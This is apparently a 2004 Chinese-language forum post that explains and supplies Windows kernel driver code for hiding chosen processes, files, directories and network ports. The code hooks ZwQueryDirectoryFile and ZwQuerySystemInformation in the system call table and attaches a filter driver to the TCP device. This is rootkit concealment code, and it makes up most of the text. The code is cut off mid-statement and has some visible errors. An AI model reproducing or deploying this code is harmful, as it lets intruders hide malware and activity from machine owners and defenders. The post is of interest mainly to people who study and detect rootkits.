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隐藏任意进程,目录/文件,注册表,端口

2004-12-19

隐藏任意进程,目录/文件,注册表,端口 Author: sinister Email: sinister@whitecell.orgHomepage: http://www.whitecell.org 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,Zw

隐藏任意进程,目录/文件,注册表,端口


Author: sinister
Email: sinister@whitecell.org
Homepage: http://www.whitecell.org


查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \Device\Tcp 与 \Device\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)

typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;

typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;

WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;


// 执行旧的ZwQueryDirectoryFile函数
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);

if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
pLast = NULL;

do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);

found=0;

// 在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
{
if (ptr->flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
{
found=1;
break;
}
}//end for

// 如果链表中包含当前目录,隐藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隐藏
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p + p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;

ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;


// 执行旧的ZwQuerySystemInformation函数

rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );

if(NT_SUCCESS(rc ))
{
if( g_hide_proc && (5 == SystemInformationClass))
{
// 将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;

// 遍历进程
while(curr)
{

if((0 < process_name.Length) && (255 > process_name.Length))
{
found=0;
// 遍历链表
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
}

// 判断如果是隐藏进程名则覆盖掉此进程名
while(found)
{

if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}

if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;

if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}

//隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;

PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;

Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];

RtlInitUnicodeString( &TcpDeviceName, L"\Device\Tcp");

//得到已有的设备指针

status = IoGetDeviceObjectPointer( &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);


if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error! ");
return status;
}

DbgPrint("IoGetDeviceObjectPointer ok! ");

// 建立设备
status = IoCreateDevice( DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDevice
);
if(!NT_SUCCESS(status))
{
return status;
}

// 加入设备

TcpgetDevice = IoAttachDeviceToDeviceStack(

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